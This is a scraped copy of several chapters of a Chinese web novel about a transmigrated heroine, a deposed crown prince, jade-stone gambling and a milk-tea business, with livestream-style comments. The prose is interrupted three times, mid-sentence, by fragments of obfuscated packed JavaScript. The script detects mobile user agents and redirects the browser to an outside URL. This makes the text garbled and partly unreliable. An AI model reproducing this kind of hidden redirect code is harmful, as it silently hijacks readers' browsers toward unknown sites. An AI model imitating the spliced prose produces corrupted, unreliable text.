她昨日喝醉后……没发酒疯吧? 捂着额头努力想了半晌,实在想不起来只能放弃,在心里安慰自己。 应该不至于,她以前可从没有发酒疯的习惯。 只是以后切不可再贪杯了,她暗暗告诫自己。 起身一看,已经不是在他们之前吃饭的包厢,但看陈设应该还是在酒楼内。 不用想都知道是凌翌珩把她带来的。 口腔里残留的酒味经过一夜的发酵泛着淡淡的苦涩,她受不了地拿起桌上的水壶想给自己倒杯水漱漱口,拿起杯子才发现压在底下的纸条。 她拿起纸条,上面写着一行字。 想找我就去那里。 那里?指的应该是当铺吧。 她去当玉佩的那天果然被他看见了,说不定当初玉佩能当那么高的价格也是他授意的。 来了好几天,事没做几件,人情倒是欠了不少。 还欠的都是同一个人。 宋云熹有些头疼。 罢了,今日一去应该就能知道那人这么帮自己意欲何为,若是不难做的话,应下也无妨。 她向来不喜欢欠别人,就当是还他的人情。 宋云熙离开房间,先回了一趟茶楼,看了下账本,提出了些问题,顺便还清点了一下库存,确定没什么事后才慢慢悠悠来到高金当铺。 高掌柜坐在柜台后,看到她立刻起身迎接,俨然一副等候多时的模样。 “宋姑娘。” “高掌柜。”宋云熹微微点头,打了声招呼。 高掌柜也不绕弯子,直接道:“宋姑娘,请随我来,公子等候多时了。” 高掌柜领着人穿过院子站定在一间厢房前。 抬手敲了敲门:“公子,宋姑娘来了。” “进来吧。”熟悉的声音穿过屋门传出,有些许模糊。 高掌柜抬手推开门,弯腰做了个请的姿势。 宋云熹跨过门槛走进屋,高掌柜在她身后关上了门。 屋外的天光被房门遮住些许,屋内散乱地堆着一些书籍,原来这是一间书房。 “来了?”凌翌珩就坐在书桌后,正在提笔写东西,听到她进来也没有停下。 “昨日,多谢你。”宋云熹站定在他面前,状似无意地问道,“我醉酒后……不曾做出什么失礼的举动吧?” 凌翌珩不答,听到这话似乎想起了什么,搁下笔 看着她笑。 宋云熹被他笑的浑身发毛。 这人不会是因为脑子有问题才被废了太子位地吧? 等宋云熹被笑的恼羞成怒准备摔门而出时,他才终于大发慈悲地停下了,抬起手指蹭蹭眼尾笑出的泪花,“失礼倒没有,姑娘醉酒后非常的安静。” “只是……”他话锋一转,语气颇有些苦恼,“你是想妈妈了吗?” 宋云熹心底升起一股不好的预感:“什么意思?” 凌翌珩摊摊手,有些无奈,“宋姑娘醉酒后,喜欢抱着人叫妈妈。” “……” 一句话,把潜水的弹幕都炸了出来。 【男,男妈妈?】 【仙品啊,我吃吃吃。】 【大馋丫头。】 宋云熹脸都黑了。 “公子找我来,不会就是为了想说这个吧。” “自然不是。”玩笑过后,凌翌珩正色起来,“姑娘请坐。” 宋云熹在他对面坐下,二人之间隔了张书桌,扬了扬下巴示意他继续。 “我想和宋姑娘谈个合作。” “合作?” “不错,能不能让我留在你身边……”他拿起一旁的茶盏,上好的茶叶在沸水的泡制下激发出浓郁的香气。 又掏出两个杯子,倒出两杯茶水,将其中一杯推到宋云熹面前,又拿起自己那杯,吹了吹表面的茶沫,低头喝了一口。 什么玩意儿,宋云熹没有看他推到面前的茶水,满脑子都是他刚才说的话,拧起眉。 “……留在你身边学做生意?”他润了润嗓子,才慢悠悠补完后半句。 “……” 宋云熹被气笑了,“你说话非要大喘气吗?” 凌翌珩满脸无辜,又问了一遍,“可以吗?” “不收徒。”宋云熹毫不留情地拒绝了。 凌翌珩:“我说的是合作,合作也不行?” 宋云熹挑挑眉,“那你拿什么东西跟我合作?” “钱、权、人,你想要什么?”他问的时候脸上满是温润的笑容,好似只要她说出口,他就能办到。 宋云熹慵懒地靠着椅背,双手环胸,探究的目光在他脸上梭巡,却看不出任何破绽。 嘁。她撇了撇嘴。 “我想要的,你没有。”她想了想,说。 “你想要什么?” “我想要的,是当朝太子。” 凌翌珩脸色一变,目光变得锐利无比,可她在面对他的威压之下,却仍然是那副闲散的模样。 掰着手指一样样数,“你也看到了宋家的态度,以后我只能靠自己,我想要太子的权利,想要京城的人脉,想要成为皇商。” “而我想要的这些,当朝太子可以做到。” “你能吗?” “又或者说,”宋云熹放下手,微微直起身子,紧紧盯着他的眼睛,“你是吗?” 气氛突然紧绷起来,谁也不肯先服输,二人陷入无声的对峙。 凌翌珩面无表情地和她对视,唇线抿直,搁在桌上的手指尖颤动几下,宋云熹全身紧绷,就在她觉得他要动手的时候,突然笑开,“不,我当然不是。” “可谁说,这些事只有太子能做到?” 会谈到现在,宋云熹终于露出了一个真心的笑。 最起码她确定了一件事。 凌翌珩,这个看似失势的前太子,并不是个一无所有的废物。相反,他能带给自己的帮助,也许会比想象中多。 她现在无权无势,只有个破茶楼,有人主动送上来门想当跳板,何乐而不为呢? 她才不信他所谓的想学习做生意,但只要他在她眼皮底下,早晚有一天会露出马脚。 而她现在需要做的,就是利用一切可以利用的资源,来帮助自己达成那个目标。 宋云熹拿起那杯一直被忽略的茶水一口饮尽,由于放的时间太长,已经有些变凉,但仍然不减它的茶香,“那么,我很期待你的表现。乖徒儿。” 说完,将空茶杯放到凌翌珩面前。 他愣了下,眼角眉梢都染上笑意,好像真的是个因为拜到了心仪的师父而高兴的青年,给她重新倒了杯茶,从善如流地说,“师父请用茶。” 【妈呀,高手过招,招招致命。】 【woc刚才差点以为这两位要打起来,吓死了。】 【从敢睡棺材这件事我就知道,主播是个干大事的人。】 【就这个大女主爽!】 宋云熹慢慢品着手上的茶,“这茶叫什么?” “这是东郊茶园精选出的芽尖制成的君山银针。” “师父感兴趣?徒儿可以带你去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819645|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋云熹又喝了一口茶,点头应下,“好啊。” “那劳烦师父稍等一会儿,我处理些事情。”凌翌珩又重新提起笔,“无趣的话可以在这四处走走。” 说罢就不再理她,宋云熹喝完一杯茶,起身在这间书房里四处参观。 这就是一个普通的书房,宋云熹兴致缺缺的转了一圈,走到靠窗边的小榻上坐下,榻上放着一张小几,桌面上有一碟花生。 宋云熹顺手捡起几颗,剥开丢进嘴里。 下一秒嘴里泛起一阵苦味,她“呸”地一声将花生吐出,混合着唾液的花生碎粒粒发黑。 【踩雷体质发力了。】 【差点忘了还有这东西。】 【所以这踩雷的意思是碰什么都会踩雷吗?】 【这谁知道,等主播试试不就知道了。】 这些天完全没有这个体质能发挥作用的地方,导致宋云熹也差点忘了,自己还有这个“特殊天赋”。 看着桌上发黑的碎粒,她差点气笑了,不信邪地又挑了几颗花生剥开,无一例外全是坏的。 她索性直接将所有的花生剥开摊在桌面上,四十粒花生米里有四粒是坏的。 10%的概率。 【10%。】 她和弹幕同时得出这个结论。 若有所思地拿起桌上放凉的茶漱了漱口,恰好这时凌翌珩也来了。 宋云熹放下杯子起身,“可以出发了?” “嗯,我让高启去备马车。” 一刻钟后,两人相对坐在马车内。 车厢门上刻着简约的花纹,车厢内铺满了柔软的毛毯,空气中漂浮着隐隐幽香。 宋云熹靠着车窗,透过车帘的缝隙看着外面热闹的街道。 路过一个街角,远远地就望见前面人头攒动。 似乎是在……赌石? 宋云熹多看了两眼,一个主意突然冒了出来。 她叫停马车,冲凌翌珩摊开手。 “乖徒儿,拿出点诚意来吧。” 凌翌珩不明所以地看着她,犹豫半晌,还是慢慢把自己的手搭上去。 宋云熹:“?” 有病? 她没有说话,但眼睛里明明白白写着这两个字。 凌翌珩明白自己可能是误会了,漂亮的眼睛里满是羞恼,蓦地把手收回,语气生硬,“那你想要什么诚意?” “自然是金钱上的支持。”她偷偷翻了个白眼,指指围满人的摊铺。 “看到那边的赌石了吗,你出钱,开出好东西,你七我三,如何?” 凌翌珩:“那若是没开出来呢,我岂不是血本无归?” “这一颗石头可不便宜。” 宋云熹瞪了他一眼,觉得自己该拿出作师父的威严,给这便宜徒弟立立规矩了。 “拜入师门第一条规矩,一切都听师父的。” 她自认为很凶的一眼,落在凌翌珩眼里,却犹如傲娇的猫儿在示威一般,毫无威慑力,反而可爱的紧。 他笑弯了眼睛,忍不住就答应了她的要求,“好,都听师父的,要多少给多少。” 宋云熹被他突如其来的笑容给晃了下,回过神猛的撇开视线。 啧,和谁都笑的这么好看,一点都不守男德。 两人下了马车走到摊位前,摊主看凌翌珩衣着华贵,热情地招呼:“公子,来一块试试?” 凌翌珩转头问他师父,“师父,想要哪块?” 宋云熹数了数,摊位上大大小小一共十二块石头。 她毫不犹豫地选定了其中两颗石头。 凌翌珩有些迟疑,“你不用再仔细看一看吗?” “不用,”宋云熹非常淡定地瞥了他一眼,“放心,不会让你亏本的。” 她有些猜想想要证实。 如若真和她猜的一样,那这踩雷体质,可就是暴富体质了。 8. 聘礼 摊主拿上那两块石头仔细打量了几眼,笑了,“姑娘对赌石有所研究?” 宋云熹想了想,还是决定不过分招惹事端,伸手摸了摸剩下的几块原石,“没有,随便选的。” 其实她知道,这两块石头不论是从皮壳,还是皮壳上的纹样来看,都是容易出货的类型。 “那姑娘的眼光不错,选的这两块在我看来都极有可能出货。”摊主夸赞道。 “是么,”宋云熹意味不明地笑笑,“希望我的运气真有这么好。” 摊主也不多言,抱起两块原石来到解玉台前。 青灰色的原石被放在解玉台上,摊主用粗粝的手掌一寸寸抚过皮壳上那若隐若现的“松花”纹样。 他示意旁边的助手稳住机器,自己则俯身凑近,借着天光用毛笔蘸水,沿着那条蜿蜒的“蟒带”画下一条线,接着倒入解玉砂。 砣轮开始旋转,夹着解玉砂的砣轮一遍又一遍地擦过毛笔留下的水痕,石屑混着金刚砂变成灰白的粉末四溅,围观的人齐生生往后退了几步,生怕被波及到。 空气中弥漫着一阵难闻的气味,是石头在高速摩擦下产生高温而散发出的焦糊味儿,助手的额角开始渗出细汗,摊主的眼神却一如既往的专注,手上动作稳稳当当。 一刀穷,一刀富。 是天堂还是地狱,都看这一刀。 围观的百姓都踮起脚尖翘首以盼,就连凌翌珩也饶有兴致的观察着摊主的动作。 “嗤——” 一道异响发出,原石被应声切出一道口子,半个砣轮卡进原石中,不同于切入石头的沉闷,发出的声音清脆响亮。 摊主猛地抬手,砣轮骤停,他脸上隐隐浮现出一股兴奋,取来清水洗去污浊,一道细如发丝的绿色赫然嵌在石头灰白的断口里,像“一线天”里透出的一丝天光。 “有了……”助手的声音发颤。 “有了?” “真的假的?” “真开出来了?” 围观的人们开始激动起来。 摊主不语,换上手砣,沿着那抹绿色小心翼翼地开拓,动作又轻又慢,砣轮与石头的摩擦声敲在在场每个人的心里,让众人的心跟随着这摩擦声动荡不已。 石皮一片片剥落,终于,石皮底下的真容慢慢暴露在众人眼中,那抹澄澈的绿,断在了中层,只剩下一层薄薄的绿色。 整个现场鸦雀无声。 【?】 【??】 【???】 连弹幕都在不停扣问号。 摊主见多识广,最先反应过来,满是遗憾地看着宋云熹:“姑娘,可惜了。” 助手也一脸惋惜,“这种情况说实话还是比较少见的。” “无妨,还有一块,劳烦师傅。”宋云熹的反应反而是最平淡的,显然早已预料到这个结果,虽然心下仍不免有些失望,但面上不显,只淡淡地嘱咐摊主。 “真没事?”凌翌珩悄悄凑近她。 “我能有什么事,”宋云熹瞥了他一眼,老神在在,“最坏的结果不过就是你亏完这些钱。” “凌老板应该也不在乎这点吧,再者说……” 她拖长语调,“万一我这块就出了呢?” 凌翌珩失笑,见她确实一脸不在乎,也不再多言,注意力重新回到摊主手上的原石上。 又是和前面一样的步骤,这次一刀下去,连点绿色都没有。 “怎,怎会如此?” “完了,这回不得倾家荡产啊?” 现场的人瞬间炸开了锅,看向宋云熹二人的目光都带着同情和怜悯。 虽然观他二人的衣着都不是普通人,但这可是翡翠原石啊!一块的价格就够普通家庭吃上十年了,更何况是两块! 凌翌珩下意识回头看宋云熹的反应。 却见她不怒反笑,脸上依旧是云淡风轻的模样,似乎早就预料到了这种结果,手指隔空轻点剩下的几块原石。 “把剩下的石头,全给我开了。” “这……”摊主看她如此干脆,不得不再次提醒,“姑娘确定吗,这些一共加起来的价格可不便宜。” “而且剩下的石头也有极大可能不出货,小心得不偿失。” 他做这一行时间多了,经常能碰上一些头脑一热,不管不顾压上全部家产来赌的达官贵人,这些人大部分最后都落得一无所有欠下巨债的下边,所有每当碰上这种人他都会劝一下,不是为了他们,而是为了自己。 若是他们能还的起钱倒罢了,碰上还不起的人,最后承受不了压力一死了之,自己收不到钱还惹来一身腥,反倒没必要。 宋云熹思考了一下,觉得他说的有道理,毕竟不是自己出钱。 偏头象征性地询问了一下凌翌珩:“这么几块石头,应该不至于让你倾家荡产吧?” “倒不至于。”他摆摆手,说完又补了句,“如果真不够……” 歪头思考了一下,抚掌轻笑道:“那便只能挪用我给未来夫人攒下的聘礼了。” “你认真的?” “当然,若是连聘礼也输个干净,我可就没办法娶妻了。”他一脸委屈,“所以师父可千万别输啊。” 手指轻点下巴,似在认真思考什么,又笑起来,“不过……若是师父愿意当我夫人,那就没问题了,聘礼全赔光也没关系。” 宋云熹:“……” 她就多余问这句话。 “开。” 不再废话,冲摊主扬了扬下巴。 摊主见她意已决,也不再多劝,利落的捧起剩下四块翡翠原石到解玉台,继续重复着解玉的操作,将原石凑近砣轮细细打磨。 听了摊主方才的那一番话,在场的所有人都对这几块石头不抱任何希望,不少人都离去了,只剩下几位闲来无事想看到最后的人。 但这一次,令所有人惊讶的一幕再次出现了。 切开一道口子的原石中露出一抹鲜亮的绿色,稍夹带着黄色调,并且最重要的是,这片绿色的范围很广,不再像第一块那样只有一线。 摊主激动地看了宋云熹一眼,看到对方轻点头后,深吸口气,换上手砣。 石皮再次被一片片剥落,这一次终于是令所有人都满意的结果——一大片偏黄色调的绿被呈现在众人眼前,仿佛是在阳光照射下的翠绿叶片,充斥着蓬勃的生命力。 摊主颤着嗓音,“正阳绿,是正阳绿!” 全场静了一瞬,随后爆发出剧烈的赞叹声,宋云熹也松了口气。 看来这下不会亏本了。 只有凌翌珩状似遗憾地叹了口气,凑近宋云熹耳边,“真可惜,是吧?” 宋云熹看了他一眼,默默往前走了一步。 有时候真的怀疑他到底是伪装成了一个纨绔子弟,还是终于暴露了本性。 脑子里突然冒出一句话。 有的人看似戴上了面具,实则脱下了伪装。 状似无意的往天空看了一眼,密密麻麻的弹幕全都是【主播,他在钓你】。 她眼皮跳了一下,重新将目光移到处理原石的摊主身上,假装没看见那些弹幕。 摊主简单处理了那块正阳绿,又马不停蹄的开了剩下的原石。 无一例外,全都开出了货。 甚至最小的那块巴掌大的原石开出了帝王绿。 10%。 宋云熹嘴里默默念了一句这个数据。 十二块原石,第一块原石还算有一点绿,算下来差不多是10%的概率。 10%的残次品概率。 她唇角忍不住上扬,幅度越来越大。 所有人都以为她是运气好,开出了这么多好东西而开心,但只有她知道,这代表着她基本证实了自己心里的猜想。 踩雷体质虽然会让她踩雷,但并不是所有的物品都会踩雷,这其中踩雷的概率只有10%,也就是说,她碰到的前10%的东西会因为踩雷体质的原因变成残次品,超出这10%以外的,不管原来是好的还是坏的,都能成为好的,这意味着以后她能不费吹灰之力排除所有残次品。 虽然这听起来非常的不现实,但这恰好就是事实,既然她都能死后穿越到这个朝代了,还有什么是不可能的呢? 和摊主交代了后续事宜,委托他将这几块原石全都打磨出来,宋云熹和凌翌珩重新回到马车上,往郊外的茶园赶去。 耽误了些功夫,到茶园的时候已经接近午膳时间,园子的主人亲自来迎接。 随意吃过午膳,园主带他们参观了茶山。 从山顶上往下看去,眼前是一片无垠的绿,整块茶山被修建成了梯形,一层一层往远处延伸,而茶树就种在“楼梯”上面,茂密的叶子在正午的阳光下泛着绿油油的光泽。 一阵微风拂过,茶叶清冽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819646|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香气混着雨后泥土的气息,以及一丝丝野花的香气,从鼻腔进入五脏六腑,让人精神为之一振。 “好地方。”宋云熹不由赞叹。 “当然。”园主有些骄傲,“咱们这可是扬州城里最大的茶园,制出的茶叶那可是专供京城里的达官贵人们饮用的。” 达官贵人?宋云熹瞄了凌翌珩一眼,他正饶有心致地低头研究茶树上的茶叶。 和前世电视小说里演的太子被废之后,不是崩溃犯病就是颓废堕落不同,他倒是看不出有任何影响,最起码表面看不出来。 看了一眼又收回目光,拜托园主带她去看看制好的茶叶。 园主欣然答应,边走边跟宋云熹讲解关于茶叶的知识,凌翌珩慢悠悠跟在两人身后。 七拐八拐穿过茶园后,园主将他们带到了一处库房,里面全是炒制好的茶叶,被分成一份份妥善地保存着。 “姑娘想要哪种?” 宋云熹思忖了下,问道:“最便宜的是哪种?” 园主给她介绍了几种,“这几种都是咱们这比较实惠的,虽然相对便宜,但品相也绝对是同等价位中最好的。” 宋云熹细细查看品相,确实如他所言,这些茶叶品相极好。 ……用来做奶茶够了。 她其实早就有这个想法,在听到李掌柜说同行恶意竞争,压低价格导致茶楼生意惨淡入不敷出后,她就明白,茶楼需要的不是推出价格多低的茶,茶楼需要的是彻彻底底的创新,而奶茶店,正是个合适的选择。 正好她昨日在宋府的一番大举动,算是提前为奶茶店的开张造势了。 挑完茶叶,和园主约好送货时间,二人一起离开库房。 院子里,凌翌珩正俯身轻嗅开的正艳的一朵玫红色月季花,看到她出来,抬头露出一抹笑,“师父,你来啦?” 微风吹过,拂起他如墨的发丝,漂亮的眼睛像新月一样弯起,殷红的唇角扬起好看的弧度,抿出左脸侧的一个酒窝。 他孤身站在那,却比身后开的正艳的一片月季花海更引人注目。 这一刻,她是真真切切意识到了什么叫人比花娇。 此时的他,不像是接受正统教育长大的储君,倒像是个吸食人精魄的妖精。 “喜欢吗?”待她走近,“妖精”说话了。 没头没尾的一句话。 喜欢什么,人还是花? 宋云熹看了一眼颜色绚丽的月季,又看了一眼凌翌珩,撇撇嘴,“又贵又难伺候的花,有什么好喜欢的。” 她前世养活自己都已经拼尽了全力,好不容易还清养母留下的欠款,却又因为难得的一次善心救了只猫崽而意外穿越到这,哪有多余的心思来喜欢这些有钱人才喜欢的东西。 说到那只猫崽……宋云熹本以为只是短短看了一眼,应该没什么印象,现在却发现自己记得那么清楚,她甚至连它背上的那块黑色毛毛构成的心型都记得。 那是只黑白相间的英短,才巴掌那么点大。 不知道它怎么样了,希望它能过的好点,不然她付出那么大代价可就不值当了,宋云熹思绪有些飘远。 “是么,”他轻声呢喃,“那真是太可惜了,我还挺喜欢的。” “有什么好可惜的,你喜欢不就行了,个人喜好不同罢了。”宋云熹回神,奇怪地看了他一眼。 他抬手轻轻拂过花瓣,“就是可惜啊,我还以为能和师父找到共同的喜好呢。” 神经,宋云熹摸摸手臂,感觉自己鸡皮疙瘩都要起来了,一阵无语,“你非要这么说话吗?” 凌翌珩收回手,脸上恢复了她熟悉的神态,故作伤心道,“师父怎的如此冷漠,我不过是想和你亲近些罢了,我能有什么错?” 不想搭理他浮夸的演技,宋云熹率先沿着来时路回去,凌翌珩见状,双手背在身后,悠闲地跟上。 一路上溜溜达达,凌翌珩有一搭没一搭地跟她闲聊,她偶尔回应一两句,气氛倒也融洽。 回到马车停留的地方,车夫看到他们出来,上前几步,“公子,可是要现在回去?” 凌翌珩看了眼天色,想了想,提出邀请,“这附近有个据说很灵的寺庙,天色还早,师父要不要去看看?” “寺庙?”宋云熹一听来了兴趣,“是求什么的?” 要是求财那倒是可以一去。 凌翌珩勾唇一笑,“求姻缘的。” 9. 奶茶小妹 “姻缘寺?”宋云熹皱了皱眉,一口回绝,“不去。” “为何不去?”凌翌珩好像想起了很有意思的事情,“师父可曾订亲?” 宋云熹被问的愣了一下,还真细细思索了一番。 “应该……不曾?” “寻常女儿家这个年纪都已经开始议亲了,师父难道不急吗?” “……” 宋云熹觉得有些莫名其妙,瞥了他一眼,“与你何干?” 视线投向远方自由自在翱翔的飞鸟。 “我有我自己的抱负,成亲只会成为我的枷锁。” 她在心里默默补了句,男人只会影响我赚钱的速度。 凌翌珩似乎有些讶异于她的回答,唇角笑容不变,意味深长地看着她,“师父真的很……与众不同啊。” “当‘你’的师父,自然是需要有些不同的。”她咬重了“你”这个字,意有所指。 宋云熹终究没有答应凌翌珩的要求。 被师父赶回车上时,凌翌珩嘴里还在可惜,“为什么不去,师父不求我去求一下也可以啊。” 凭你的身份还需要自己去求吗? 宋云熹嗤笑一声,懒得搭理凌翌珩的碎碎念,直接吩咐车夫,“回去。” 车夫有些迟疑,看向凌翌珩:“公子……” “听师父的。”凌翌珩恢复了对师父言听计从的样子,做足了一个听话徒弟的模样。 “你养的人倒是忠诚。”宋云熹抱臂,冷眼旁观。 “我对师父也很忠诚。”凌翌珩笑眯眯表衷心。 “……” 不愧是出生于皇家那种复杂的环境的太子,这面具戴上了真是演谁像谁。 宋云熹没有接他的话,只是将头扭向了窗外。 马车不疾不徐的向城内驶去。 进了城,在茶楼门口停下。 凌翌珩率先下了马车,随后回身,将手放在刚掀开车帘出来的宋云熹面前。 宋云熹看了他的手一眼,没有搭上去,自己跳下马车,率先进了茶楼。 凌翌珩被拒绝了也不恼,收回手慢悠悠地跟着她也进了茶楼。 自从宋云熹推出状元茶,又在宋府大闹了一通后,基本上所有人都知道这间茶楼是宋云熹开的,人人都想看看那“起死回生”的宋小姐长什么样,反倒让茶楼的生意慢慢好了些。 几个店小二正在忙碌,柜台前的李掌柜看到她迎出来。 “东家的事情办完了?” “嗯。”宋云熹淡淡应了声。 他看了一眼跟在宋云熹身后的凌翌珩,认出了这是在宋府出现帮了自己老板的那个男子。 “这位公子是……” 凌翌珩笑眯眯地刚想要做个自我介绍,被宋云熹抢先了一步,“新收的徒弟。” “徒弟?”李掌柜似乎很震惊,不懂自家东家为何出去了一个晚上就带了个徒弟回来。 而且,他做掌柜的这么多年,看人的眼力不错,他观这男子衣着气度皆不凡,定不是普通人,怎么会成了宋云熹的徒弟? “是的,我叫凌翌珩,是师父新收的徒弟。”凌翌珩偏偏应下了,还做了个自我介绍。 “我姓李。”李掌柜赶忙也回应。 “李掌柜,以后请多多指教。” “不敢不敢。” 宋云熹抱臂旁观了他和周围的人都打了声招呼后,终于开口赶人,“行了,没什么事你就先回去吧。” 凌翌珩从善如流和她告别,“那我就先走了,师父想找我可派人去高金当铺传话。” 挥挥手表示知道了,在他离开后,宋云熹回到了二楼自己的休息室,坐到了书桌前。 桌子上零零散散地摊开着很多纸,都是这些日子她抽空写下的关于奶茶店的设想。 关于茶楼的改造,原料的采买,后续经营宣传等等都需要有详细的计划。 还有最重要的,奶茶的口味类型以及制作方案。 拾起最上面一张纸看了几眼,提笔继续写。 多亏她前世为了勤工俭学,在奶茶店工作过一段时间,虽然有些配方不记得了,但基础的一些还能记起来。 写好后,宋云熹吹了吹上面的墨水,出门找了冬冬,吩咐他去买些牛乳回来。 小孩儿的速度很快,不过半个时辰就把她要的东西带了回来。 宋云熹又去地下挑了些自己要用的茶叶。 准备好要用的东西后,她来到了厨房。 自从上一个厨子走了以后,这厨房就没人了,茶楼也不再提供吃食。 无人倒更方便了她。 她翻出角落里积灰的小锅洗干净倒好水,又找出一个小灶生起火,待到锅中的水沸腾,又将找到的茶叶放入锅内。 等到锅中的水慢慢变成红褐色,飘出茶香时,她将煮好的茶倒出放凉备用,随后又在锅中倒入牛乳,撒入些许白糖,找出一把勺子,不断搅拌防止糊锅,待到煮沸后又将煮好的茶水倒入,一斤乳汁四碗茶,反复煮沸,一锅最基础的奶茶就做好了。 锅中煮好的奶茶呈浅褐色,散发着茶叶和牛乳的混合香味。 她倒出一碗,吹凉,小心翼翼喝了一口。 “……” 入口丝滑,茶味和奶味平衡得恰到好处,茶香所带的微苦被浓郁的奶香所覆盖,入喉后还有一丝回甘。 她眼睛一亮。 成功了。 * 自从那日成功做出奶茶以后,这几天宋云熹又在尝试煮出珍珠。 她找人买来糯米粉和麦芽糖,麦芽糖加水制成麦芽糖水,又将糯米粉和麦芽糖水混合,揉搓成团后又分成一个个小块搓成小圆球,随后放着风干片刻。 锅中加水煮沸将小圆球放入,煮至半透明状捞出入冷水,即可成功得到珍珠。 宋云熹默默地看着默写下来的配方,又看了看面前的一团不明物体,抓起它“哐当”一声丢进了垃圾桶。 眼不见为净。 这种场景几乎每天都在上演,明明都按照步骤走,但做出来的东西总也不对。 她一琢磨,有可能是糯米粉和糖水的比例不对才会导致这样,但偏偏她又想不起来具体的比例是多少,只能一遍遍试。 刚才是第二十次实验。 叹了口气,她划掉上一个比例配方开始下一个,又失败了几次,就在她要崩溃的时候,万能的网友出力了,弹幕有懂行的老师说出了正确答案,这下才找到正确的配比。 看着面前晶莹剔透的珍珠,她总算松了口气。 恰巧此时已经过了茶楼的营业时间,外面已经在收拾东西关门,她抓紧时间煮出一锅奶茶,端到一楼大堂,招呼几个员工过来。 众人围过来,看着桌上冒着热气的不明物体,满脸疑惑。 冬冬率先开口:“东家,这是什么?” 另一位身着白衫的男子摸了摸眉毛,“莫不是东家研制的新东西?” 这是茶楼新请的账房先生林铮。 “不错,这正是我这些天研制出来的新品,名为珍珠奶茶。”宋云熹颔首,肯定了他的推测。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819647|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “叫你们来就是让你们都来尝尝,看看味道如何,可还有需要改进的地方。” 众人一听,纷纷倒了一杯奶茶品尝。 “如何?”宋云熹观察他们的神情。 “不错。”林铮点评,又喝了口,刚好咬到珍珠,眼睛一亮,“这是何物,软嫩又不失嚼劲,味道清甜,配上这奶茶,口味清淡却又不至于单调,真真是绝配。” 其他人纷纷点头,显然很赞同他的看法。 太好了,宋云熹松了口气。 得到本地土著的认可,这就说明她这次的计划已经成功一半。 笑眯眯看着几人抢光剩下的奶茶,她琢磨着,是时候招两个人来摇奶茶了。 * 氤氲升起的热气阻挠了视线,女主轻轻吹了吹,待热气散去后,露出后方明亮又带些忐忑的眼睛。 “东家,如何?”冬冬小心翼翼地看着宋云熹,语气有些期待。 宋云熹喝了口桌上的奶茶,眯眯眼,点头称赞:“不错。” 冬冬松了口气,脸上是掩饰不住的雀跃之情。 “你的培训结束,可以正式上岗了,好好干。”宋云熹放下茶碗,笑了笑,上前拍拍他的肩,走出了厨房。 冬冬就是她挑出来的奶茶小弟人选,原因与它,这茶楼除了他,也没有别的年轻人了。 还好他学习能力不错,也算是有天赋,基础的几款很快就能学会,以茶楼目前的销售情况看,一个人暂时也足够。 这几日茶楼也开始慢慢给进来的客人推荐新产品,但这样的效率太慢,效果也不明显。 必须要想个新办法。 而且光靠茶楼的收益对她以后的计划来说并不足够,她需要开拓一下别的业务。 宋云熹漫无目的地走在街道上,双眼扫过街上的店铺人群,思考着下一步计划。 目光偶然扫过路边一家生意火热的酒楼,想到酒楼也算是半个同行,刚好也到了饭点,干脆进去吃个饭,顺便调查一下同行的情况。 她脚步一拐,走进酒楼。 刚一进门,就有一位长相清秀的男生热情地迎上前,“这位姑娘,来吃饭?” 点点头,他转身吆喝了一句,“十三,你来带这位姑娘!” 马上就有一位小二跑上前,娃娃脸上带着点婴儿肥,笑起来眼睛眯成了一半,“姑娘请随我来。” 婴儿肥在前面带路,宋云熹回头看,刚才的小二又开始接待下一位客人。 这……她有些惊讶,这里居然有迎宾员? 迎宾员顾名思义就是站在店门前迎接客人的,也可以说是一家店铺的门面,所以一般都会选择模样出挑的人来担任,怪不得刚才那个男生唇红齿白的,压根不像个小二。 但这一般是现代商铺会用到的揽客手段,想不到这里也有。 这倒是个好手段,她都给忘了,暗自琢磨着回头也招个样貌好的去自家门口站着。 不知为何,想到这,她脑海中突然浮现出那双明亮的桃花眼。 “姑娘吃些什么?咱们这儿的招牌有香酥闷肉,炒血鸭,龙井虾仁,合欢汤。”小二介绍道。 龙井虾仁?宋云熹敏锐地捕捉到熟悉的茶叶名字。 “你们这儿和茶叶有关的菜还有什么?” 小二熟练地报出了几道菜名。 “好,那便要这些。” 小二点完单很快下去,宋云熹抱臂靠在椅背上,指尖在胳膊上一下一下轻点,表情若有所思。 她好像……还没看过自家茶楼的菜单? 10. 不省心的徒弟 小二很快将宋云熹点的菜端了上来。 三个碟子被一一摆在桌子上,外观精致,色泽鲜亮,散发着诱人的香气,令人忍不住食指大动。 宋云熹拿起筷子,每道菜都尝了一下,暗自点头。 看来是时候请自家茶楼的厨子到这儿来吃顿饭了。 酒足饭饱之后,宋云熹准备慢慢走回茶楼。 走了两步,看到有卖糖画的,心情颇好地上前去凑热闹。 